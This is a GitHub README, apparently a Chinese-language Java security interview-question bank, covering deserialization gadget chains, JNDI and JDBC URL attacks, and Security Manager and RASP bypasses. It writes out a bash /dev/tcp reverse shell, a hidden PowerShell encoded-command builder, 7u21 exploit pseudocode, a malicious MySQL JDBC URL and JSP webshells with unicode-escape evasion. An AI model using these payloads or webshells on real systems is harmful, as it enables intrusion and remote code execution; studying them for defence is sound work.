Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

README.md

Outline

JDK

Java反射做了什么事情(★)

反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了动态的效果

Java反射可以修改Final字段嘛(★★)

可以做到,参考以下代码

field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.set(null, newValue);

传统的反射方法加入黑名单怎么绕(★★★)

可以使用的类和方法如下(参考三梦师傅)

ReflectUtil.forName
BytecodeDescriptor
ClassLoader.loadClass
sun.reflect.misc.MethodUtil
sun.reflect.misc.FieldUtil
sun.reflect.misc.ConstructorUtil
MethodAccessor.invoke
JSClassLoader.invoke
JSClassLoader.newInstance

Java中可以执行反弹shell的命令吗(★★)

可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:bash -i >& /dev/tcp/ip/port 0>&1会失败,简单来说因为>符号是重定向,如果命令中包含输入输出重定向和管道符,只有在bash下才可以,使用Java执行这样的命令会失败,所以需要加入Base64

bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}

针对Powershell应该使用以下的命令

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64

这个特殊的Base64和普通Base64不同,需要填充0,算法如下

public static String getPowershellCommand(String cmd) {
    char[] chars = cmd.toCharArray();
    List<Byte> temp = new ArrayList<>();
    for (char c : chars) {
        byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
        for (byte b : code) {
            temp.add(b);
        }
        temp.add((byte) 0);
    }
    byte[] result = new byte[temp.size()];
    for (int i = 0; i < temp.size(); i++) {
        result[i] = temp.get(i);
    }
    String data = Base64.getEncoder().encodeToString(result);
    String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
    return prefix + data;
}

假设Runtime.exec加入黑名单还有什么方式执行命令(★★)

其实这个问题有点类似JSP Webshell免杀

大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)

RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)

RMI的JNDI注入在8u121后限制,需要手动开启com.sun.jndi.rmi.object.trustURLCodebase属性

LDAP的JNDI注入在8u191后限制,需要开启com.sun.jndi.ldap.object.trustURLCodebase属性

RMI和LDAP的限制版本分别可以怎样绕过(★★)

RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发

通过org.apache.naming.factory.BeanFactory结合ELProcessor绕过

LDAP的限制中不对javaSerializedData验证,所以可以打本地gadget

谈谈TemplatesImpl这个类(★★)

这个类本身是JDK中XML相关的类,但被很多Gadget拿来用

一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的defineClass方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个TemplatesImpl类,其中包含TransletClassLoader子类重写了defineClass所以允许TemplatesImpl类本身调用。TemplatesImpl其中有一个特殊字段_bytecodes是一个二维字节数组,是被加载的字节码

通过newTransformer可以达到defineClass方法加载字节码。而getOutputProperties方法(getter)中调用了newTransformer方法,也是一个利用链

TemplatesImpl.getOutputProperties()
	TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
	TemplatesImpl.defineTransletClasses()
	ClassLoader.defineClass()
	Class.newInstance()

了解BCEL ClassLoader吗(★)

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目

该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码

但是在Java 8u251之后该类从JDK中移除

谈谈7U21反序列化(★★★★★)

LinkedHashSet.readObject开始,找到父类HashSet.readObject方法,其中包含HashMap的类型转换以及HashMap.put方法,跟入HashMap.put其中对key与已有key进行equals判断,这个equals方法是触发后续利用链的关键。但equals方法的前置条件必须满足

if (e.hash == hash && ((k = e.key) == key || key.equals(k)))

所以这里需要用哈希碰撞,让下一个key的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去equals方法,两个key对象不相同是显而易见的

接下来的任务是找到一处能触发equals方法的地方

反射创建AnnotationInvocationHandler对象,传入Templates类型和HashMap参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过InvocationHandler.invoke方法,在AnnotationInvocationHandler这个InvocationHandlerinvoke方法实现中如果遇到equals方法,会进入equalsImpl方法,其中遍历了equals方法传入的参数TemplatesImpl的所有方法并反射调用,通过getOutputProperties方法最终加载字节码导致RCE

关于7U21的伪代码如下

Object templates = Gadgets.createTemplatesImpl();
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
map.put(zeroHashCodeStr, templates);
return set;

结合调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()/HashMap.put()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()

可以看到伪代码最后在mapput了某个元素,这是为了处理哈希碰撞的问题。TemplatesImpl没有重写hashcode直接调用Object的方法。而代理对象的hashcode方法也是会先进入invoke方法的,跟入hashCodeImpl方法看到是根据传入参数HashMap来做的,累加每一个Entrykeyvalue计算得出的hashcode。通过一些运算,可以找到符合条件的碰撞值

谈谈8U20反序列化(★★★★★)

这是7U21修复的绕过

AnnotationInvocationHandler反序列化调用readObject方法中,对当前type进行了判断。之前POC中的Templates类型会导致抛出异常无法继续。使用BeanContextSupport绕过,在它的readObject方法中调用readChildren方法,其中有try-catch但没有抛出异常而是continue继续

所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据

了解缩小反序列化Payload的手段吗(★★★)

首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载

谈谈实战中命令执行有哪些回显的办法(★★★★)

首先想到的办法是dnslog等技术进行外带,但必须出网,有限制

然后类似内存马的思路,针对指定中间件找response对象写入执行结果

尝试写文件,往web目录下写,例如xx.html可以访问到即可

将命令执行结果抛出异常,然后用URLClassLoader加载,达到报错回显

Y4er师傅提到的自定义类加载器配合RMI的一种方式

有没有了解过针对linux的通杀的回显方式(★★★★)

获取本次http请求用到socket的文件描述符,然后往文件描述符里写命令执行的结果

但鸡肋的地方在于需要确定源端口,才可以使用命令查到对应的文件描述符,存在反代可能有问题

是否存在针对windows的通杀的回显方式(★★★★)

原理类似linux的通杀回显,在windowsnio/bio中有类似于linux文件描述符这样的句柄文件

遍历fd反射创建对应的文件描述符,利用sun.nio.ch.Net#remoteAddress确认文件描述符有效性,然后往里面写数据实现回显

是否了解JDBC Connection URL攻击(★★★)

果我们可以控制JDBC URI就可将JDBC连接地址指向攻击者事先准备好的恶意服务器,这个服务器可以返回恶意的序列化数据

指定autoDeserialize参数为trueMySQL客户端就可以自动反序列化恶意Payload

使用ServerStatusDiffInterceptor触发客户端和服务端的交互和反序列化

jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

以上是基本攻击手段,还有一些进阶的内容,例如allowUrlInLocalInfiledetectCustomCollations参数

你知道JDK针对反序列化漏洞做了什么修复嘛(★★★)

JEP 290中提供一个限制反序列化的类的机制,黑白名单方式,同时限制反序列化深度和复杂度,为 RMI 导出的对象设置了验证机制。具体实现是提供一个全局过滤器,可以从属性或者配置文件中配置。在ObjectInputStream类中增加了一个serialFilter属性和一个filterChcek函数,其中serialFilter就可以理解为过滤器

JEP 290有没有绕过的办法(★★★★★)

根据JEP 290限制的原理,白名单对象包括了:String,Remote,Proxy,UnicaseRef,RMIClientSocketFactory等

如果目标的RMI服务暴漏了Object参数类型的方法,且该类在白名单中,我们就可以注入Payload进去以绕过检测

另外还一些骚思路,比如想办法改源码,或用Java Agent对某些方法Hook并更改等

谈谈Security Manager的绕过(★★★★)

通过设置参数java.security.policy指定policy以提权;反射调用setSecurityManager修改Security Manager以绕过;自定义ClassLoader并设置ProtectionDomain里面的权限初始化为所有权限以绕过;由于native方法不受Java Security Manager管控,所以可以调用这些方法绕过

简单谈谈类加载的过程(★★)

首先是由C/C++编写的Bootstrap ClassLoader用于加载rt.jar等核心包

然后是Extension ClassLoader加载JDKExt目录的包,可以加入自定义的包

接着是Application Classloader加载CLASSPATH中的类,项目中的类都是由该类加载器加载完成的

最后是自定义类加载器,继承ClassLoader类重写findClass方法,在Webshell中有应用

简单谈谈双亲委派(★)

当某个类加载器需要加载某个class文件时,首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类

父类加载器一层一层往下分配任务,如果子类加载器能加载,则加载此类,如果将加载任务分配至系统类加载器也无法加载此类,则抛出异常

双亲委派主要作用是什么(★★)

最主要的作用是保证系统类的安全,基础类不会被自定义类加载器破坏和篡改,其次防止重复加载可以提高效率

RASP如何绕过(★★)

使用JNI是比较通用的办法,具体到每一种漏洞类型,也会有其他的绕过方式(参数污染,特殊字符等等)

简单谈一谈SecurityManager是干什么的(★★★)

Java Security Manager的一个典型应用场景是JVM需要加载运行一段代码,但是这段代码是不可信的

例如来自用户的输入上传和反序列化指定的bytecode或者使用URLClassLoader在网络中远程加载等

这些情况下,需要防止不可信来源的恶意代码对系统造成破坏。其实这就是沙箱的应用场景

谈一谈SecurityManager的绕过姿势(★★★★)

(1)单等号+home目录可写导致Java Security Manager绕过

例如这样指定policy文件:-Djava.security.policy=java.policy

(2)通过setSecurityManager绕过Java Security Manager

恶意代码可以在运行时调用setSecurityManager方法将SecurityManager置为null以绕过

(3)通过反射绕过Java Security Manager

反射调用getProtectionDomain0方法将所有hasAllPerm属性设置为true

(4)自定义类加载器绕过

(5)通过JNI调用native方法绕过

是否了解利用unicode特性的JSP Webshell绕过(★★★)

编译JSP时其中的unicode会进行解码,其中\u000a变成换行,导致后面的exec可以执行

<%
  Runtime.getRuntime().
  //\u000aexec
  (request.getParameter("cmd"));
%>

加入转义符将会变成简单的注释,这将变成普通的webshell

<%
  Runtime.getRuntime().
  //\\u000axxxxxx
  exec(request.getParameter("cmd"));
%>

一种特殊的方式(原理较复杂暂不分析)

<%
  Runtime.getRuntime().
  //\u000d\uabcdexec(request.getParameter("cmd"));
%>
Morty Proxy This is a proxified and sanitized view of the page, visit original site.